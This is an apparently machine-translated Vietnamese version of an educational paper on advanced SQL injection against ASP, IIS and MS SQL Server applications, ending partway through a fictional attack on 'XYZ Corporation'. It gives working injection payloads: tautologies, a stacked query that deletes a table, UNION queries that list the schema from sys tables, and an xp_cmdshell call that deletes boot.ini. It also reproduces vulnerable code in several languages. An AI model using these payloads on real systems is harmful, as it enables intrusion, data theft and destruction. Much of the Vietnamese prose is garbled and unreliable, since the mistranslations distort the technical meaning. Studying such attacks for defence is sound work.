Skip to main content
Advanced SQL Command Injection: Applying defense-in-depth practices in web-enabled database applications
Giới thiệu
Trong nhiều năm, các trang web hướng dữ liệu đã chiếm được trí tưởng tượng của hầu hết các loại tổ chức. Lập trình viên có khả năng xây dựng các ứng dụng với giao diện có thể sử dụng, có sẵn 24 / 7 và đạt đến trên toàn thế giới. Những trang web sử dụng nhiều công cụ để truy vấn và hiển thị dữ liệu, với các tùy chọn và idiosyncrasies của họ. Và mặc dù nhấn mạnh nhiều đã được đặt trên đảm bảo các ứng dụng này thông qua các cơ chế mạng phức tạp, thường là các ứng dụng bản thân nó không áp dụng các biện pháp cần thiết để duy trì an ninh dữ liệu.
Một mối đe dọa đã được thảo luận trong khóa học vật liệu được gọi là SQL piggybacking. SQL piggybacking, hoặc tiêm lệnh SQL, là sự thực hành của phụ thêm hoặc thao tác các giá trị không được kiểm soát để truy vấn dựa trên web. Khi thông qua cơ sở dữ liệu, các truy vấn này thực hiện khác nhau hơn dự kiến bởi nhà phát triển ứng dụng. Ví dụ này trong tài liệu khóa học được "tấn công ứng dụng Web. Trong đó tác giả nói rõ một số vấn đề tiềm năng gây ra bởi SQL piggybacking và mô tả như thế nào dòng đầu tiên của quốc phòng là để kiểm tra bất kỳ thông số được cung cấp bởi khách hàng (trình duyệt) yêu cầu.
Tuy nhiên, tôi muốn gây ấn tượng khi bạn đọc những ví dụ này không phải là mức độ thiệt hại có thể được thực hiện với SQL piggybacking. Bài viết này sẽ rõ lỗ hổng hơn nữa khi thực hiện truy vấn với các thông số được kiểm soát, bao gồm:
* Làm thế nào để xem dữ liệu từ các bảng không quy định tại các truy vấn ban
đầu * Làm thế nào để xem người sử dụng và cấu trúc bảng thông tin từ hệ thống
mục tiêu * Làm thế nào để thực hiện các lệnh shell trên máy mục tiêu
Quan trọng hơn các cuộc biểu tình của khai thác là một mô tả làm thế nào để áp dụng thực hành vệ chiều sâu để giảm thiểu rủi ro ứng dụng web / cơ sở dữ liệu. Điều này cũng mở rộng vượt ra ngoài kiểm tra thông số, nó bao gồm:
* Lựa chọn các phương pháp truy vấn đó làm giảm nguy cơ
* Phân biệt ứng dụng truy cập vào dữ liệu
* Hạn chế người sử dụng truy cập vào cơ sở
dữ liệu nội bộ thủ tục * Biết làm thế nào để màn hình / phát hiện các trinh sát của ứng dụng của bạn
Trong khi trình bày bài báo này tôi sẽ mô tả một loạt các mối đe dọa gây ra bởi SQL piggybacking, và một tài khoản hư cấu của một vụ tấn công. Kinh nghiệm của tôi vào khóa học này là hơn mà một lập trình viên hơn là của một quản trị hệ thống, như là một kết quả của việc này, tôi có một quan tâm đến chuyên trong việc học làm thế nào để làm cho ứng dụng mã an toàn hơn, đặc biệt là trong các ứng dụng web. Hy vọng của tôi là làm rõ lỗ hổng mà có thể tồn tại khi tạo các ứng dụng web / cơ sở dữ liệu, bài viết này sẽ giúp lập trình viên và quản trị hệ thống tốt hơn hiểu phải làm gì để bảo vệ dữ liệu của họ khỏi những cặp mắt tò mò.
Việc khai thác.
Trong suốt bài viết này, tôi muốn tập trung vào một sự kết hợp cụ thể của các công cụ phía máy chủ để chứng minh lỗ hổng bảo mật và phòng thủ. Đây không phải là bởi vì họ là những công cụ duy nhất dễ bị tổn thương, nhưng vì họ sẽ cung cấp một số tập trung vào tờ giấy, như có hàng trăm sự kết hợp của CGI / kịch bản, trung gian và các công cụ cơ sở dữ liệu sẽ chịu các lỗ hổng tương tự. Tôi sẽ chăm sóc để hiển thị một loạt các trường hợp các công cụ khác tương tự như vậy dễ bị tổn thương. Các công cụ được sử dụng để hiển thị các khai thác là:
* MS SQL Server 7
* Windows 2000 Server
IIS (Internet Information Server)
ASP (Active Server Pages)
* ADO (Active Data Objects) với OLE DB hoặc ODBC
Hãy để tôi một thời gian ngắn cung cấp một cái nhìn tổng quan về cách làm việc trong những công cụ này kết hợp trong một môi trường hai tầng (hai tầng tương ứng với logic ứng dụng / trình bày trong IIS như là một tầng, và các chức năng máy chủ dữ liệu là tầng thứ hai). Như tôi sẽ lưu ý sau đó, một môi trường ba-n-tầng là bằng nhau có nguy cơ, tuy nhiên môi trường hai tầng một ví dụ dễ dàng hơn, và tốt hơn hoặc tồi tệ hơn phổ biến hơn.Tôi đã bao gồm một hình ảnh rất đơn giản để hiển thị các thành phần khác nhau của bộ công cụ.
Ví dụ sau đây của chúng tôi mô tả cách một yêu cầu như sau, để một trang web động, hoạt động trong mô hình này. Dưới đây là một địa chỉ mẫu:
http://www.xyzcorp.com/holiday/store_list.asp?state=MN
A) Các trình duyệt - Một người sử dụng (thông qua trình duyệt của họ, hoặc một số điều http-lấy) làm cho một kết nối http (ở đây thông qua cổng 80) www.xyzcorp.com, mà cuối cùng được chuyển đến cổng 80 trên máy chủ web. Http đơn giản yêu cầu liên quan đến một yêu cầu khách hàng và đáp ứng một máy chủ. Dưới đây là một ví dụ về một yêu cầu http trong đó cho thấy các URL và các thông tin khác được chuyển tải đến các máy chủ web mục tiêu:
GET /holiday/store_list.asp?state=MN HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.2-2 i686)
Host: www.xyzcorp.com
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, *.*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
B) IIS, máy chủ web - Các yêu cầu cho một tập tin asp, để cài đặt IIS này có nghĩa là nó sẽ sử dụng asp.dll như là một xử lý ISAPI cho các tập tin quy định. Nó vượt qua các tên tập tin và bối cảnh vào hệ thống ASP.
C) ASP, các đoạn mã script ASP (Active Server Pages) là một môi trường cho phép việc sử dụng mã để tạo ra một phản ứng on-the-fly để yêu cầu trang. asp.dll diễn giải các tập tin ASP, đó là kịch bản (thường là VBScript) mà sẽ chạy trong bối cảnh IIS. Trong ví dụ này, store_list.asp tập tin sẽ sử dụng các đối tượng từ bộ ADO để truy cập vào một kết nối (hoặc trong một hồ bơi kết nối, hoặc mới) đến máy chủ cơ sở dữ liệu.
D) ADO, dữ liệu đăng nhập Đối tượng - Để chuẩn bị và thực hiện truy vấn, quá trình IIS, sử dụng ADO để truy cập vào một nhà cung cấp ODBC hay OLE DB (tức là một trình điều khiển cơ sở dữ liệu), mở ra một kết nối đến cổng 1433 trên máy chủ dữ liệu. Các máy chủ dữ liệu có thể được trên cùng một máy như là máy chủ IIS, nhưng nó thường là trên máy khác, đằng sau một bức tường lửa. Trình điều khiển cơ sở dữ liệu chứa các mã ứng dụng cần thiết để đàm phán kết nối với cơ sở dữ liệu và thông tin liên lạc cơ sở dữ liệu tất cả hơn nữa, nhưng tất cả các logic cấp ứng dụng trong trang ASP.
E) MS SQL Server, máy chủ dữ liệu - Dịch vụ này chạy với một ổ cắm lắng nghe ở cổng 1433. Sau khi một khách hàng đã kết nối với máy chủ dữ liệu và cung cấp một tên đăng nhập và bối cảnh, các khách hàng có thể thực hiện truy vấn dữ liệu. Những kết quả truy vấn trong recordsets và mã trả lại mà được gửi lại cho các ứng dụng thông qua ADO và nhà cung cấp, và do đó tiếp xúc với kịch bản ASP như các đối tượng, để làm như kịch bản thấy phù hợp. Một nhiệm vụ rất phổ biến là để lấy một recordset và lặp thông qua nó để hiển thị một mạng lưới hoặc danh sách các dữ liệu, chẳng hạn như một danh sách phát hành báo chí.
Các kịch bản sau đó sử dụng ADO để đóng tất cả các recordsets mở và các kết nối, và loại bỏ các đối tượng ADO. Bộ xử lý kịch bản hoàn tất và gửi những phản ứng hoàn lại cho trình duyệt.
Ví dụ về Khai thác.
Bây giờ chúng ta sẽ xem xét các ví dụ về làm thế nào để khai thác quá trình này. Tôi đã tạo ra mẫu mã cho một trang yêu cầu và phản ứng để chứng minh các loại mã đó là dễ bị tổn thương, và các phương pháp mà bạn có thể khai thác các lỗ hổng.
Đầu tiên hãy xem cách bạn muốn truy cập vào một kết nối cơ sở dữ liệu và chạy nó. Các máy chủ-side code ASP sau đây là rất tương tự như tìm thấy trong nhiều 'Làm thế nào để xây dựng một sổ ứng dụng web. Tôi đã đưa ra bất kỳ xung quanh thẻ HTML cho ngắn gọn.
'--- initialize basic objects ---'
dim connectionstring, conn, rs, command
set conn = server.createobject("ADODB.CONNECTION")
'--- specify connection parameters ---'
connectionstring = "Provider=sqloledb;Data Source=DATABASE;User ID=username;Password=password"
'--- open the connection and run SQL using request parameter 'id' ---'
conn.open(connectionstring)
set rs = conn.execute("select headline from pressReleases where categoryid = " & request("id") )
'--- Just loop through the recordset to output it. ---'
do while not rs.EOF
response.write(rs("headline") & "<br>")
rs.movenext
loop
'--- close everything out, clean up objects ---
rs.close
set rs = nothing
conn.close
set conn = nothing
Điều quan trọng về cách thức mã hoạt động là nó sử dụng những gì tôi sẽ gọi là "liệu SQL, kịch bản tạo ra một toàn bộ câu lệnh SQL như là một chuỗi, và truyền trở lại cơ sở dữ liệu cho các cơ sở dữ liệu để phân tích và thực hiện. Cơ sở dữ liệu thực hiện các lệnh trong các chuỗi xem chuỗi có chứa, ví dụ, một truy vấn SELECT, truy vấn CẬP NHẬT, một thủ tục lưu trữ, hoặc một tuyên bố Transact-SQL. Quá trình này lấy dữ liệu là hình thức tiếp xúc nhất vì không có tham số gõ trước khi gửi báo cáo để cơ sở dữ liệu. Bây giờ chúng ta sẽ xem xét các khái niệm về piggybacking.
Piggybacking truy vấn cơ bản (được mô tả trong vật liệu khóa học)
Trong đoạn mã trên, người ta có thể vượt qua trong một chuỗi những gì nên được một số nguyên. Hãy để tôi cung cấp một số ví dụ về cách này trình bày một vấn đề. Đoạn mã trên là chờ đợi một yêu cầu đến trang như sau:
http://xyzcorp.com/presslist.asp?id=1
Nhưng một người sử dụng chỉ có thể yêu cầu thay vì những điều sau đây:
http://xyzcorp.com/presslist.asp?id=1+OR+categoryID+%3D+2
Điều này có kết quả của cách gắn thêm các chuỗi toàn bộ các truy vấn SQL, do đó bạn có một truy vấn như:
select headline from pressReleases where categoryid = 1 OR categoryID = 2
SQL piggybacking không chỉ là một vấn đề đối với trường số nhận chuỗi đầu vào, nếu chuỗi đầu vào được xử lý không đúng cách, nó cũng có thể gây ra những vấn đề tương tự. Ví dụ, chúng ta hãy truy vấn sau đây:
set rs = conn.execute("select headline from pressReleases
where author = '" & request("author") & "'")
Lập trình đôi khi nghĩ rằng bởi vì chuỗi là "đóng gói" trong dấu ngoặc kép này sẽ bảo vệ chuỗi từ được mở rộng để sản xuất thêm SQL. Tuy nhiên, nó không phải là thực sự đóng gói. Ví dụ, người ta chỉ có thể yêu cầu:
http://xyzcorp.com/presslist.asp?author=jimmy%27+or+%27a%27+%3D+%27a
Điều này sẽ sản xuất SQL sau đây, sẽ trả lại tất cả các hàng từ pressReleases:
select headline from pressReleases where author = 'jimmy' or 'a' = 'a'
Nhưng hãy nhớ rằng những chuỗi SQL có thể chứa nhiều hơn một truy vấn, đây là nơi mà truy vấn piggybacking đến chơi:
http://xyzcorp.com/presslist.asp?id=1%3B%0D%0Adelete+from+pressReleases
Điều này sẽ hình thành hai truy vấn được đặt và thực hiện trong thời hạn theo yêu cầu thực hiện duy nhất, bởi vì trong MS SQL, bạn có thể tách biệt các truy vấn từ mỗi khác bằng cách kết thúc bằng dấu chấm phẩy (mặc dù thực sự nó cũng sẽ phân tích các truy vấn riêng biệt một cách chính xác mà không có dấu chấm phẩy):
select headline from pressReleases where categoryid = 1;
delete from pressReleases
Nếu 'đăng nhập' hoặc người sử dụng cơ sở dữ liệu đang được sử dụng bởi các đối tượng ADO có đúng các đặc quyền, điều này sẽ loại bỏ tất cả các mục từ bảng pressReleases! Ví dụ về các câu lệnh SQL injection như thế này đã được sử dụng trong vật liệu khóa học . Thật không may, có các truy vấn phức tạp hơn có thể được nối có thể làm thiệt hại thêm, và đó là những truy vấn mà tôi muốn tập trung sự chú ý của bài viết của tôi.
Nâng cao ví dụ về các câu lệnh SQL injection: cơ sở dữ liệu trinh sát
Trước khi chúng ta hấp tấp vào ví dụ tiêm tiên tiến lệnh SQL, cũng có một số khái niệm có liên quan SQL (một số cụ thể để MS SQL Server) mà chúng ta nên bao gồm:
UNION - Điều khoản này có thể được sử dụng trong một câu lệnh SQL để nối hai recordsets riêng biệt nhưng tương tự như định dạng như là một . Ví dụ:
if 'select ID, name from beatles' yields:
1, 'John Lennon'
2, 'Paul McCartney'
3, 'George Harrison'
4, 'Ringo Starr'
and 'select ID, name from peterpaulmary' yields:
1, 'Peter'
2, 'Paul'
3, 'Mary'
then 'select ID, name from beatles UNION select ID, name from peterpaulmary' returns:
1, 'John Lennon'
2, 'Paul McCartney'
3, 'George Harrison'
4, 'Ringo Starr'
1, 'Peter'
2, 'Paul'
3, 'Mary'
Thủ tục lưu trữ - Đây là những truy vấn có mã đã được lập trình trước vào cơ sở dữ liệu. Có lưu trữ các thủ tục nội bộ, mà đến cài đặt trên SQL Server, và thủ tục người dùng lưu trữ, được tạo ra bởi các nhà phát triển ứng dụng. Thủ tục lưu trữ chấp nhận các thông số đã nhập. Trong SQL Server, chúng có thể chứa không chỉ SQL truyền thống mà còn Transact-SQL, bao gồm lưu lượng bổ sung và các ngôn ngữ logic trong MS SQL Server.
Mở rộng thủ tục lưu trữ - MS SQL Server, có một số thủ tục lưu trữ (tiền tố với ' xp_ ') được xây dựng vào máy chủ cung cấp chức năng "mở rộng" thường không thể truy cập bằng một thủ tục lưu trữ SQL-. Ví dụ,xp_cmdshell có thể thực hiện các lệnh trong Windows lệnh shell ( cmd ). Nhiều người trong số này phải được kích hoạt cho hầu hết các thông tin đăng nhập để sử dụng chúng.
sys * Tables - Trong SQL Server, có một số các bảng thường có thể đọc được bởi tất cả người dùng lưu trữ thông tin cơ bản về cấu trúc và nội dung của cơ sở dữ liệu. Những bảng được bắt đầu với " sys "và tồn tại ở cả các chủ cơ sở dữ liệu, mà có thêm thông tin về máy chủ dữ liệu, và trong mỗi cơ sở dữ liệu. (Dữ liệu máy chủ "đề cập đến các trường hợp toàn bộ của một dịch vụ máy chủ đang chạy SQL, cơ sở dữ liệu là một thuật ngữ cho một bộ phận hợp lý của các bảng dữ liệu và các đối tượng khác trong cấu trúc, do đó, một máy chủ dữ liệu có thể chứa nhiều cơ sở dữ liệu.)
Với kiến thức này và SQL, cơ bản các trang web nhiều năng động, không áp dụng thực hành vệ chuyên sâu dễ bị tổn thương do thám quan trọng. Tôi sẽ chỉ cho một số ví dụ ngắn gọn, và sau đó trong phần 2: tấn công, chúng tôi sẽ xem xét cách này có thể được đưa vào hành động.
Sử dụng các ví dụ trên, hãy tưởng tượng nếu chuỗi sau đây đã được thông qua cho các giá trị của 'id:'
?id=1%0D%0AUNION+select+sysobjects.name+where+sysobjects.xtype+%3D+%27U%27
Vì lợi ích của sự rõ ràng, tôi sẽ định dạng này và yêu cầu khác cho 'id' như vậy:
id=1
UNION select sysobjects.name where sysobjects.xtype = 'U'
Điều này sẽ mang lại các câu lệnh SQL:
select headline from pressReleases where categoryid = 1
UNION select sysobjects.name where sysobjects.xtype = 'U'
Trong câu truy vấn trên, thứ hai SELECT của báo cáo UNION chạy một truy vấn chống lại sysobjects nên chạy bất kỳ người sử dụng trên bất kỳ cơ sở dữ liệu SQL Server, nó sẽ liệt kê tất cả các bảng người sử dụng trong cơ sở dữ liệu hiện tại, bất kể cấp độ truy cập.
Vì vậy, bây giờ, màn hình hiển thị đầu tiên có thể đọc:
XYZ Corporation now 9001 certified
CEO announces merger with ABC Corporation
Những kẻ tấn công sẽ thấy ngoài ra một danh sách các bảng:
XYZ Corporation now 9001 certified
CEO announces merger with ABC Corporation
pressReleases
userAccounts
XYZOrders
XYZStores
...
Điều này giúp kẻ tấn công làm những gì nếu không khó khăn thực sự nhìn thấy những kết quả của các truy vấn piggybacked. Hãy nhớ rằng, ví dụ trước của chúng tôi truy vấn piggybacked không trả lại dữ liệu vào màn hình, sử dụng UNION kết hợp với các sys * bảng, kẻ tấn công có thể đạt được cái nhìn sâu sắc vào cấu trúc của cơ sở dữ liệu.
Điều này chỉ trở nên tệ hơn khi các lĩnh vực được thêm vào hỗn hợp:
id=1
UNION
select sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name from sysobjects, syscolumns, systypes
where sysobjects.xtype = 'U'
AND sysobjects.id = syscolumns.id
AND syscolumns.xtype = systypes.xtype
Điều này cũng sử dụng phổ biến * sys bảng để xác định thông tin gây thiệt hại nhiều hơn nữa về hệ thống mục tiêu. Nó không chỉ concatenates các kết quả vào recordset ban đầu, nó cũng concatenates nhiều lĩnh vực thông tin vào trường trở lại, trong trường hợp này cho thấy bảng, mỗi lĩnh vực trong bảng, và loại của từng lĩnh vực:
XYZCorporation now 9001 certified
CEO announces merger with ABC Corporation
userAccounts: accountNumber: int
userAccounts: accountName: varchar
userAccounts: totalHoldings: numeric
pressReleases: pressReleaseID: int
pressReleases: categoryID: int
pressReleases: headline: varchar
pressReleases: releaseText: text
secretInfo: accountNumber: int
secretInfo: PIN: int
...
Một khi thông tin này được lấy nó trở nên rất dễ dàng cho một kẻ tấn công chạy các truy vấn SQL piggybacked thứ hai để cố gắng thay đổi bất kỳ dữ liệu trong cơ sở dữ liệu này bởi vì họ biết làm thế nào để có được ở các dữ liệu. Tệ hơn nữa, đăng nhập ứng dụng thường được cấp việc truy cập vào dữ liệu của cơ sở dữ liệu, điều đó có nghĩa rằng trong những trường hợp kẻ tấn công cả hai có thể nhận được và thay đổi bất kỳ dữ liệu trong ứng dụng.
Cuối cùng, trước khi chúng ta nhìn vào một ví dụ về một cuộc tấn công, là một trong những mối quan tâm cuối cùng để được nhận thức của . Trước khi chúng tôi xem xét các thủ tục mở rộng lưu trữ xp_cmdshell. Thủ tục này có thể bị vô hiệu hóa bởi người quản trị SQL Server, và theo mặc định nó chỉ có sẵn cho các thành viên của các nhóm quản trị hệ thống . Tuy nhiên, tổ chức nhiều lựa chọn để chạy các truy vấn cơ sở dữ liệu như là một quản trị hệ thống tài khoản. Điều này có nghĩa rằng ai đó có thể gửi tham số :
id=1
master.dbo.xp_cmdshell 'del c:\boot.ini'
Hệ thống mục tiêu có thể tìm thấy mình không thể khởi động trong thời gian tới máy chủ được khởi động lại.
Như tôi đã đề cập trước đây, các hệ thống khác có thể được đồng đều dễ bị tổn thương để tiêm lệnh SQL nếu chúng được thực hiện mà không kiểm tra thông số. Đối với ColdFusion, chúng ta hãy lấy một ví dụ từ "Phát triển ColdFusion ứng dụng" (trang 107):
<cfquery name="GetRecordtoUpdate"
datasource="CompanyInfo">
SELECT *
FROM Employee
WHERE Emp_ID = #URL.Emp_ID#
</cfquery>
ColdFusion sử dụng thẻ để thực hiện các hành động khác nhau. <CFQUERY> thẻ cung cấp tất cả các mã cần thiết để kết nối với một cơ sở dữ liệu và thực thi mã. Tên tham số quy định cụ thể tên của các kết quả thiết lập cho sử dụng sau này trong trang, các nguồn dữ liệu tham số thường xác định một ODBC nguồn dữ liệu, và các văn bản trong <CFQUERY> thẻ được dịch là nguyên liệu SQL. URL.Emp_ID # # là một tham chiếu đến một biến ColdFusion, trong trường hợp này đề cập đến các tham số URL emp_id, như sẽ được tham chiếu trong các URL sau đây :
http://localhost/myapps/updateform.cfm?Emp_ID=3
Mã này là các loại chính xác của SQL chèn như thể hiện trong mã ASP, bởi vì <CFQUERY> chỉ đơn giản là xây dựng một chuỗi được gửi trở lại và phân tích cú pháp cơ sở dữ liệu. Vì vậy, bằng thao tác emp_id tham số, bạn có thể xây dựng bất kỳ SQL bổ sung, kể cả báo cáo UNION và các truy vấn bổ sung.
Dọc theo đường tương tự, các gói DBI cho Perl, nếu sử dụng mà không cẩn thận, có thể được sử dụng để xử lý nguyên liệu SQL. Đây là một mẫu mã:
my $dbh = DBI->connect($data_source, $username, $auth, \%attr);
$rv = $dbh->do("SELECT * from EMPLOYEE where ID = " . $q->param("ID"));
Java servlets và JSP là cũng dễ bị tổn thương nếu các thông số được điều trị như dây đàn. Ví dụ:
Statement stmt = con.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM EMPLOYEE where ID = " + request.getParameter("ID"));
Khả năng tiêm lệnh SQL trong một cơ sở dữ liệu các giao diện này có rất ít để làm với giao diện thực tế là không an toàn, tiêm lệnh SQL là có thể bởi vì các lập trình viên không sử dụng các tính năng thích hợp của các giao diện để đảm bảo rằng mã của họ không phải là dễ bị tổn thương. May mắn thay, những nền tảng này có một số ít các giải pháp cho vấn đề này. Hơn nữa, có một số tốt vệ chuyên sâu thực hành một tổ chức có thể sử dụng để tự bảo vệ mình từ tiêm lệnh SQL mà chúng ta sẽ khám phá.
Thông tin thêm về SQL injection là:
http://www.owasp.org/projects/asac/iv-sqlinjection.shtml
Các trang trên danh sách một số loại cơ bản của các lỗ hổng SQL injection lệnh mà có thể tồn tại trong nhiều nền tảng phổ biến.
http://www.silksoft.co.za/data/sqlinjectionattack.htm
http://www.sqlsecurity.com/faq-inj.asp
Cả hai của các trang này cung cấp các ví dụ về các mã bị lỗi.
Attack.
Chúng ta đã học được rất nhiều về trinh sát của một hệ thống mà không thực thi gõ mạnh. Vì vậy, giải pháp âm thanh đơn giản - luôn luôn thực thi đánh máy các thông số, sử dụng chuyển đổi thói quen hoặc đối tượng yêu cầu các loại tham số cụ thể. Và quả thực nếu áp dụng triệt để, đầy đủ có thể cung cấp bảo vệ chống lại SQL piggybacking.
Tuy nhiên, cả hai trang web lớn và nhỏ vẫn còn dễ bị tổn thương. Tổ chức nhỏ thường không sợ hãi hay hiểu những rủi ro liên quan đến phơi bày một cơ sở dữ liệu thông qua một trang web, và các tổ chức lớn thường có các trang web như sắc màu rực rỡ, được xây dựng bởi các nhà phát triển và các nhà cung cấp rất nhiều, rằng có rất ít thống nhất áp dụng khi nói đến cấp ứng dụng an ninh. Trong cả hai trường hợp, điều quan trọng là phải nhớ rằng nếu không có ứng dụng mức độ bảo mật, tường lửa cơ bản là vô nghĩa. Giống như các vấn đề tràn bộ đệm đã được chứng minh rất khó khăn cho các công ty lớn để chồn ra từ mã của họ, SQL piggybacking có mọi thứ để làm với sự chú ý đến từng chi tiết và tuân thủ đồng loạt kế hoạch.
Bây giờ chúng ta bắt đầu câu chuyện hư cấu của Tổng công ty XYZ. XYZ Tổng công ty là một doanh nghiệp bán lẻ lớn và họ đã thận trọng về việc xây dựng một sự hiện diện web, vì vậy những gì nhỏ của một trang web mà họ có là tĩnh. Tuy nhiên, họ nhận ra rằng họ có thể tiết kiệm hàng triệu đô la một năm bằng cách tạo ra một trang web thành viên duy nhất cho các đối tác của họ mua bên ngoài tổ chức, và bắt đầu xây dựng một ứng dụng. Về cơ bản, người mua của họ trên toàn thế giới, mua quần áo và phụ kiện để bán lại trong vòng các cửa hàng XYZ, và để theo dõi các thông tin này trong khi trong lĩnh vực này, người mua đang đăng nhập doanh số bán hàng trên trang web.
XYZ Tổng công ty cảm thấy rằng an ninh là rất quan trọng cho ứng dụng này, vì vậy họ đã thuê chuyên gia tư vấn rất tốn kém để phân tích và tạo ra một môi trường mà phân đoạn mạng của họ chẳng hạn như để giảm thiểu tiếp xúc với Internet. Các máy chủ web được đặt phía sau một bức tường lửa như được mô tả trong biểu đồ để nó trên một mạng cho chính nó, và truy cập vào máy chủ dữ liệu cũng đã được thông qua một tường lửa bổ sung. Hơn nữa, XYZ được khuyên là nên mã hóa các dữ liệu nhạy cảm nhất trên máy chủ dữ liệu của họ để ngay cả khi dữ liệu của họ đã bị tổn hại, họ có thể làm giảm nguy cơ của nó là thô cho thế giới để xem. Họ được lưu trữ mật khẩu người dùng của ứng dụng trong cơ sở dữ liệu và áp dụng băm MD5 đơn giản để các mật khẩu được obfuscated. Cuối cùng, họ đã giám sát việc xây dựng các trang web thành viên của công ty, rằng tất cả các thông số được xem xét kỹ lưỡng và bất kỳ yêu cầu không đi qua một phép thử nghiêm ngặt đã được ném ra và đăng nhập. Khi xây dựng các ứng dụng web đã được hoàn tất, các máy chủ web sản xuất đã được cài đặt tươi, có ứng dụng cài đặt trên nó và đã được khóa. Tương tự như vậy, máy chủ dữ liệu MS SQL Server đã được cài đặt tươi, và cho phép đối tượng của nó được mô hình sau khi các máy chủ dữ liệu phát triển ứng dụng đã được xây dựng. Bởi vì chuyên gia tư vấn của loại này là tốn kém và có phần tốn thời gian, sau khi trang web đã được đưa ra tư vấn được yêu cầu chuẩn bị một tài liệu hướng dẫn trong đó nêu ra thực hành tốt cho mạng và bảo mật dữ liệu, và dịch vụ của họ đã bị dừng lại.
Dưới đây là một sơ đồ đơn giản của máy chủ web và máy chủ dữ liệu tồn tại trong kiến trúc Tổng công ty XYZ tầng.
Internet Firewall chỉ cho phép các kết nối được bắt đầu từ internet đến cổng 80, nó chuyển tiếp các gói dữ liệu lên máy chủ web IIS, và cho phép các gói tin trở lại thông qua các bức tường lửa cho các kết nối thành lập.Firewall nội bộ tương tự như chỉ cho phép các kết nối bắt đầu từ máy chủ IIS tới 1433 cổng, mà nó đi vào máy chủ cơ sở dữ liệu. Bởi vì điều này không có cách nào cho một máy chủ trên Internet để bắt đầu một kết nối đến máy chủ cơ sở dữ liệu.
Chín tháng sau đó, XYZ đã bắt đầu một chiến dịch kỳ nghỉ quảng cáo. Cửa hàng XYZ chấp nhận quyên góp quần áo và cơ quan quảng cáo của XYZ (ABC Quảng cáo) đã muốn tăng sự hiện diện web của XYZ, đề nghị đưa thông tin này trên trang web. Công ty đã đồng ý và ABC thiết lập nhóm phát triển web site của họ trong công việc. Họ nhận ra rằng thông tin vị trí cửa hàng đã có trong máy chủ dữ liệu cho các trang web thành viên, và đề nghị xây dựng một tập hợp nhỏ của các trang động mà chỉ đơn giản là truy vấn bảng này để có được danh sách các cửa hàng, của nhà nước. Sẽ không có các tính năng giao dịch, và không có dữ liệu sẽ được sửa đổi trên cơ sở dữ liệu. Các trang web quảng cáo sẽ được xây dựng trên nền tảng giống như các trang web chỉ dành riêng cho thành viên vì chi phí của việc thiết lập một cơ sở hạ tầng mới cho việc thúc đẩy kỳ nghỉ sẽ là quá tuyệt vời. XYZ IS của nhóm nghiên cứu đã xem xét kế hoạch, nghiền ngẫm về các hướng dẫn từ các nhóm bảo mật và xác định rằng không có mối đe dọa thực sự kể từ khi ứng dụng mới không truy vấn dữ liệu nhạy cảm chỉ dành riêng cho thành viên, danh sách lưu trữ.
Nhập Def. Def làm việc cho một công ty tình báo của công ty đó tập hợp thông tin cho khách hàng về các đối thủ cạnh tranh của họ. Def đã được thuê để tìm hiểu thêm về XYZ mua đối tác thành viên chỉ trang web, và xem nếu anh ta có thể tìm thấy những gì XYZ của mua sắm cho kỳ nghỉ lễ.
Def đã cố gắng rất nhiều của các cuộc tấn công mạng cơ bản chống lại các trang web để xem nếu anh ta có thể đạt được bất kỳ truy cập thông qua tuyến đường này, tuy nhiên các nhóm bảo mật đã làm một công việc đảm bảo mạng và máy chủ IIS.
Trên phần bên ngoài của các thành viên trang web chỉ là một trang đăng nhập và một số trang khác mà dường như chấp nhận các thông số, giống như một trang đăng ký và liên hệ với chúng tôi '. Def là nhận thức của một số các tấn công SQL piggybacking và cố gắng chống lại các trang web chỉ dành riêng cho thành viên. Ông nhận được thông báo lỗi khi cố gắng để thay đổi các thông số trong bất kỳ thời trang quan trọng, và do đó, nó dường như Def XYZ đã được cẩn thận để cắm nhiều lỗ hổng bảo mật.
Tuy nhiên, ông bắt đầu chọn thông qua phần còn lại của các trang web cho các chức năng khác năng động, và tìm thấy trong các trang web khuyến mãi kỳ nghỉ, có các trang động mà danh sách tất cả các cửa hàng trong một nhà nước được lựa chọn, chẳng hạn như:
http://www.xyzcorp.com/holiday/store_list.asp?state=MI
Yêu cầu này trả về một danh sách các cửa hàng ở Michigan (trong HTML), chẳng hạn như:
XYZ East Lansing Outlet
XYZ of Traverse City
Campus XYZ/Mount Pleasant
Def sau đó cố gắng một munge đơn giản:
http://www.xyzcorp.com/holiday/store_list.asp?state=MI%27
Điều này trả về lỗi, định dạng ASP trong HTML:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string 'MI''.
/holiday/store_list.asp, line 37
Def thấy rằng các nhà cung cấp OLE DB là trả lại một lỗi, mà thường cho thấy rằng lỗi này là trên thực tế được tạo ra bởi các cơ sở dữ liệu và cơ chế phân tích cú pháp của nó. Thực tế là máy chủ SQL là báo cáo lỗi này cho thấy Def rằng các thông số được thông qua unscrubbed vào cơ sở dữ liệu. Điều này đem lại cho Def cơ hội để thực hiện một số thăm dò.
Để giúp bạn với câu chuyện sau đây, đây là các bước Def có thể mất, biết rằng tiêm lệnh SQL là có thể:
1: Cover his tracks somewhat
2: Explore the database structure using UNION statements with sys-tables
3: Read application data using UNION statements
4: Attempt command-line access via xp_cmdshell
5: Modify application data using multiple-statement commands
Tại thời điểm này, Def quyết định để có một vài bước để cả hai bao gồm theo dõi một chút và cũng làm cho công việc của mình dễ dàng hơn. Ông tạo ra một trang HTML trên máy tính địa phương của mình có chứa đoạn mã sau:
<html>
<head><title>Test Page 1</title></head>
<body>
<form action="http://www.xyzcorp.com/holiday/store_list.asp" method="POST">
<!-- enter SQL piggybacking string in the following textarea -->
<textarea name="state" rows="12" cols="40">MI</textarea>
<input type="submit">
</form>
</body>
</html>
